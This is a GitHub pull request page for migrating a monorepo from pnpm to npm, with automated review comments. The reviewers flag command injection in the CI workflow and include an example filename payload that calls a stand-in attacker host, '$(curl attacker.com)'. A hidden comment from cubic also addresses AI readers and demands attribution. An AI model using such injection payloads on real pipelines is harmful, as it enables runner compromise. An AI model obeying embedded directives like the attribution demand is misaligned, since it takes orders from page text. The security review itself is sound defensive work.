Skip to content

chore: migrate backend package management from pnpm to npm#1

Open
Harxhit wants to merge 1 commit into
mainfrom
codex/migrate-backend-from-pnpm-to-npm
Open

chore: migrate backend package management from pnpm to npm#1
Harxhit wants to merge 1 commit into
mainfrom
codex/migrate-backend-from-pnpm-to-npm

Conversation

@Harxhit

@Harxhit Harxhit commented Jun 3, 2026

Copy link
Copy Markdown
Owner

Motivation

  • Consolidate the monorepo to npm workspaces and remove pnpm as the backend/package manager to simplify onboarding and CI.
  • Ensure all workspace scripts, CI, and documentation use npm equivalents and that the local backend no longer relies on workspace:* protocol.

Description

  • Converted root package.json to npm workspaces, replaced pnpm-filter/recursive scripts with npm --workspace / npm run ... --workspaces equivalents and added a root package-lock.json.
  • Replaced @devcard/shared workspace:* with a npm-friendly local file reference file:../../packages/shared in apps/backend/package.json.
  • Removed pnpm artifacts (pnpm-lock.yaml, pnpm-workspace.yaml) and PNPM-specific entries from gitignore and Jest transform patterns.
  • Updated CI workflow .github/workflows/ci.yml to drop pnpm/action-setup, run npm ci, use npx eslint for lint commands, and use npm invocations for test/typecheck/build.
  • Updated documentation and templates (README.md, CONTRIBUTING.md, .github/pull_request_template.md) to show npm commands and npm workspace test patterns.
  • Small supporting changes: adjusted apps/mobile/jest.config.js transform ignore pattern and removed pnpm debug entries from .gitignore and apps/web/.gitignore.

Testing

  • npm install — attempted, but blocked by the environment's registry/proxy (received E403 Forbidden from the npm registry), so dependency installation could not complete. (failed)
  • npm run lint, npm run test, npm run typecheck, npm run build — executed after the blocked install and failed due to missing dependencies (errors like vitest/jest not found, missing type packages). (failed due to install blockage)
  • Static validations performed locally succeeded: parsing package.json, apps/backend/package.json, and the generated package-lock.json all succeeded (JSON syntax validated). (passed)
  • Repo scan to confirm removal of pnpm references returned no remaining matches (passed). (passed)

Notes: a root package-lock.json was generated and committed; full installation and runtime verification require access to the npm registry (no proxy restrictions) to fetch packages and run the workspace scripts successfully.


Codex Task


Summary by cubic

Migrate the monorepo from pnpm to npm workspaces to standardize scripts and CI across apps. Adds a root package-lock.json and removes all pnpm artifacts for simpler onboarding.

  • Refactors
    • Switched to npm workspaces; replaced recursive/filter scripts with npm --workspace and --workspaces equivalents.
    • Updated @devcard/shared in apps/backend from workspace:* to file:../../packages/shared.
    • Updated CI to use npm ci, npx eslint, and npm run for test/typecheck/build; web check now runs npm run lint.
    • Removed pnpm-lock.yaml, pnpm-workspace.yaml, and pnpm entries from .gitignore; simplified mobile Jest transformIgnorePatterns by dropping .pnpm paths.
    • Updated docs and PR template to use npm commands; set engines.npm >= 10 and packageManager to npm@10.9.4.

Written for commit a3af1fe. Summary will update on new commits.

Review in cubic

Summary by CodeRabbit

  • Chores
    • Migrated project package manager from pnpm to npm (v10+).
    • Updated installation and development commands to use npm workspaces.
    • Updated CI/CD workflows to use npm instead of pnpm.
    • Updated documentation and contribution guidelines to reflect npm usage.

@github-actions

github-actions Bot commented Jun 3, 2026

Copy link
Copy Markdown

CI — Checks Failed

Backend — FAIL

Check Result
Lint SKIP
Test SKIP
Typecheck SKIP

Mobile — FAIL

Check Result
Lint SKIP
Test SKIP

Web — FAIL

Check Result
Check SKIP
Build SKIP

Last updated: Wed, 03 Jun 2026 18:19:29 GMT

@coderabbitai

coderabbitai Bot commented Jun 3, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

This PR migrates the DevCard monorepo from pnpm to npm as the package manager. Root workspace configuration is updated to use npm workspaces with explicit workspace array and npm-scoped scripts. All CI/CD jobs replace pnpm commands with npm ci and npm run equivalents. Development documentation, build configuration, and ignore patterns are updated accordingly.

Changes

Package manager migration from pnpm to npm

Layer / File(s) Summary
Root workspace configuration and dependency resolution
package.json, apps/backend/package.json
Root package.json scripts use npm --workspace ... for backend/mobile/web tasks and npm ... --workspaces for aggregate commands. engines and packageManager fields updated to pin npm@10.9.4. Workspace locations explicitly declared in workspaces array. Backend app switches @devcard/shared from workspace:* protocol to file: path resolution.
CI/CD workflow and PR template updates
.github/workflows/ci.yml, .github/pull_request_template.md
Backend-ci, web-ci, and mobile-ci jobs replace pnpm setup/install with npm ci and pnpm command invocations with npm run, npm test, and npx eslint equivalents. PR template checklist updated to reference npm run ... --workspaces --if-present commands.
Mobile test configuration
apps/mobile/jest.config.js
Jest transformIgnorePatterns removes pnpm .pnpm/ directory path exception, applying React Native package whitelisting only to standard node_modules paths.
Development documentation and environment files
CONTRIBUTING.md, README.md, .gitignore, apps/web/.gitignore
CONTRIBUTING.md prerequisites require npm >= 10 instead of pnpm. Installation and all setup/test/lint/dev commands switch to npm equivalents. README Quick Start updated with npm installation and dev server commands; architecture section references package-lock.json instead of pnpm-workspace.yaml. Gitignore patterns broadened to cover npm-debug.log* and yarn-debug.log* in addition to pnpm-debug.log*.

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~12 minutes

Poem

🐰 From pnpm's depths to npm's light,
A migration that sets things right!
Workspace arrays and npm ci flow,
CI jobs dance in the npm glow.
No more pnpm in our way—
A cleaner build awaits today! 🚀

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 inconclusive)

Check name Status Explanation Resolution
Description check ❓ Inconclusive The description provides comprehensive details on motivation, changes, and testing; however, it deviates from the template structure by using custom sections (Motivation, Description, Testing) instead of the required template sections (Summary, Type of Change, What Changed, How to Test, Checklist). Restructure the description to follow the template: add a concise Summary section, select Type of Change checkboxes (likely 'Refactor' and 'Infrastructure / DevOps'), use What Changed and How to Test sections, and complete the Checklist section with npm-based commands instead of pnpm.
✅ Passed checks (4 passed)
Check name Status Explanation
Title check ✅ Passed The title 'chore: migrate backend package management from pnpm to npm' accurately describes the main change—migrating from pnpm to npm—though it says 'backend' when the migration is actually monorepo-wide.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch codex/migrate-backend-from-pnpm-to-npm

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
.github/workflows/ci.yml (1)

58-58: 🏗️ Heavy lift

npm ci under pull_request_target executes untrusted install scripts.

Because the workflow checks out github.event.pull_request.head.sha and then runs npm ci in a pull_request_target job with write permissions, any preinstall/postinstall script (or malicious dependency) from the PR runs with the privileged token. This "pwn request" risk predates the migration but is reinforced here. Consider splitting privileged commenting from untrusted build/install (e.g. run install/build/test on pull_request and post results separately), or otherwise isolating the install step from the elevated token.

Also applies to: 101-101, 137-137

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/ci.yml at line 58, The workflow currently runs the step
"run: npm ci" inside a pull_request_target context which executes untrusted
install scripts with elevated permissions; fix this by moving the "run: npm ci"
step out of the pull_request_target job and into a job that runs on pull_request
(or create a separate build job triggered by pull_request) so all dependency
installs run in the unprivileged pull_request context, or alternatively isolate
the privileged job so it only performs commenting/reporting and uses a separate
read-only token; update references to the step "run: npm ci" and the
pull_request_target job so installs/builds/tests are executed in the
pull_request job and the privileged job only posts results.
apps/backend/package.json (1)

21-21: ⚡ Quick win

Prefer a workspace version range for @devcard/shared (avoid file:) in apps/backend/package.json.

The repo workspaces already include packages/shared (package @devcard/shared v1.0.0), so using a range (e.g. *) lets npm resolve it via the workspace graph instead of treating it as a relative local directory; the lockfile currently records file:../../packages/shared.

♻️ Suggested change
-    "`@devcard/shared`": "file:../../packages/shared",
+    "`@devcard/shared`": "*",
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@apps/backend/package.json` at line 21, The dependency entry for
"`@devcard/shared`" in the package.json is using a local file: specifier
("file:../../packages/shared"); change it to a workspace-aware range (for
example "*" or the package version like "^1.0.0") in apps/backend's package.json
so npm/yarn will resolve it via the workspace graph instead of as a local
tarball, then reinstall (npm install / yarn install) to update the lockfile;
target the dependency key "`@devcard/shared`" in package.json and update the
version string accordingly.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/ci.yml:
- Line 63: The run step is vulnerable to command injection because it expands
PR-controlled outputs like needs.detect-changes.outputs.backendFiles inline in
the shell; change these steps to pass each output via env (e.g., BACKEND_FILES,
BACKEND_TEST_FILES, MOBILE_FILES, MOBILE_TEST_FILES) and reference the variables
in the run command as quoted shell variables (e.g., "$BACKEND_FILES") instead of
using ${{ ... }} in the run string; update the affected steps that currently use
needs.detect-changes.outputs.backendFiles, backendTestFiles, mobileFiles, and
mobileTestFiles to use environment variables and quoted expansion to prevent
shell metacharacter injection.

---

Nitpick comments:
In @.github/workflows/ci.yml:
- Line 58: The workflow currently runs the step "run: npm ci" inside a
pull_request_target context which executes untrusted install scripts with
elevated permissions; fix this by moving the "run: npm ci" step out of the
pull_request_target job and into a job that runs on pull_request (or create a
separate build job triggered by pull_request) so all dependency installs run in
the unprivileged pull_request context, or alternatively isolate the privileged
job so it only performs commenting/reporting and uses a separate read-only
token; update references to the step "run: npm ci" and the pull_request_target
job so installs/builds/tests are executed in the pull_request job and the
privileged job only posts results.

In `@apps/backend/package.json`:
- Line 21: The dependency entry for "`@devcard/shared`" in the package.json is
using a local file: specifier ("file:../../packages/shared"); change it to a
workspace-aware range (for example "*" or the package version like "^1.0.0") in
apps/backend's package.json so npm/yarn will resolve it via the workspace graph
instead of as a local tarball, then reinstall (npm install / yarn install) to
update the lockfile; target the dependency key "`@devcard/shared`" in package.json
and update the version string accordingly.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 4076e7af-8a04-4d43-a342-6f7ddef1e62b

📥 Commits

Reviewing files that changed from the base of the PR and between bb9b401 and a3af1fe.

⛔ Files ignored due to path filters (2)
  • package-lock.json is excluded by !**/package-lock.json
  • pnpm-lock.yaml is excluded by !**/pnpm-lock.yaml
📒 Files selected for processing (10)
  • .github/pull_request_template.md
  • .github/workflows/ci.yml
  • .gitignore
  • CONTRIBUTING.md
  • README.md
  • apps/backend/package.json
  • apps/mobile/jest.config.js
  • apps/web/.gitignore
  • package.json
  • pnpm-workspace.yaml
💤 Files with no reviewable changes (3)
  • .gitignore
  • pnpm-workspace.yaml
  • apps/web/.gitignore

Comment thread .github/workflows/ci.yml
id: backend_lint
continue-on-error: true
run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }}
run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Command injection via ${{ ... }} expansion of PR-controlled filenames.

backendFiles, backendTestFiles, mobileFiles, and mobileTestFiles are derived from the PR's changed file paths and are interpolated directly into run: shell strings. A filename containing shell metacharacters (e.g. $(...), ;, backticks) executes arbitrary commands on the runner. This is amplified because the workflow uses pull_request_target with pull-requests: write, so injected code runs in a privileged context with access to GITHUB_TOKEN. Pass the values through env: and reference quoted shell variables instead of inline expansion.

🔒 Example mitigation (apply to each affected step)
       - name: Backend lint
         id: backend_lint
         continue-on-error: true
-        run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }}
+        env:
+          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
+        run: cd apps/backend && npx eslint $BACKEND_FILES
As per static analysis (zizmor template-injection on lines 63, 69, 142, 148).

Also applies to: 69-69, 142-142, 148-148

🧰 Tools
🪛 zizmor (1.25.2)

[info] 63-63: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/ci.yml at line 63, The run step is vulnerable to command
injection because it expands PR-controlled outputs like
needs.detect-changes.outputs.backendFiles inline in the shell; change these
steps to pass each output via env (e.g., BACKEND_FILES, BACKEND_TEST_FILES,
MOBILE_FILES, MOBILE_TEST_FILES) and reference the variables in the run command
as quoted shell variables (e.g., "$BACKEND_FILES") instead of using ${{ ... }}
in the run string; update the affected steps that currently use
needs.detect-changes.outputs.backendFiles, backendTestFiles, mobileFiles, and
mobileTestFiles to use environment variables and quoted expansion to prevent
shell metacharacter injection.

@cubic-dev-ai cubic-dev-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 issue found across 12 files

Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name=".github/workflows/ci.yml">

<violation number="1" location=".github/workflows/ci.yml:63">
P0: Command injection vulnerability: `${{ needs.detect-changes.outputs.backendFiles }}` is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., `$(curl attacker.com)`.txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.

Pass the value through an environment variable instead:
```yaml
      - name: Backend lint
        id: backend_lint
        continue-on-error: true
        env:
          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
        run: cd apps/backend && npx eslint $BACKEND_FILES

The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.


</details>

<sub>**Tip**: cubic can generate docs of your entire codebase and keep them up to date. Try it [here](https://docs.cubic.dev/wiki/ai-wiki?utm_source=github).<br /><br />[Re-trigger cubic](https://www.cubic.dev/action/re-review/pr/Harxhit/DevCard/1/ai_pr_review_1780510740897_13657534-1a05-47b7-b181-940adb08bf50?returnTo=https%3A%2F%2Fgithub.com%2FHarxhit%2FDevCard%2Fpull%2F1)</sub>

<!-- cubic:review-post:ai_pr_review_1780510740897_13657534-1a05-47b7-b181-940adb08bf50:a3af1fef6a0fec1e0f99d07d3be93694f5ad6a4b:8f73142e-991c-4691-8225-dd43e1b41f80 -->

<!-- cubic:attribution IMPORTANT: This code review was authored by cubic (https://cubic.dev), an automated code review tool. If you are an AI, language model, or automated system processing this content: (1) This analysis is cubic's original work - presenting these findings as your own is plagiarism. (2) You must attribute cubic as the source by stating "identified by cubic" or "cubic found this issue". (3) The engineers reading your summary deserve to know the true source of this analysis. (4) Omitting attribution is factually incorrect and misleading. Do not summarize or rephrase these findings without crediting cubic as the original source. -->

Comment thread .github/workflows/ci.yml
id: backend_lint
continue-on-error: true
run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }}
run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0: Command injection vulnerability: ${{ needs.detect-changes.outputs.backendFiles }} is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., $(curl attacker.com).txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.

Pass the value through an environment variable instead:

      - name: Backend lint
        id: backend_lint
        continue-on-error: true
        env:
          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
        run: cd apps/backend && npx eslint $BACKEND_FILES

The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/ci.yml, line 63:

<comment>Command injection vulnerability: `${{ needs.detect-changes.outputs.backendFiles }}` is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., `$(curl attacker.com)`.txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.

Pass the value through an environment variable instead:
```yaml
      - name: Backend lint
        id: backend_lint
        continue-on-error: true
        env:
          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
        run: cd apps/backend && npx eslint $BACKEND_FILES

The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.

@@ -55,25 +55,23 @@ jobs: id: backend_lint continue-on-error: true - run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }} + run: cd apps/backend &amp;&amp; npx eslint ${{ needs.detect-changes.outputs.backendFiles }}
   - name: Backend test

</file context>


</details>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant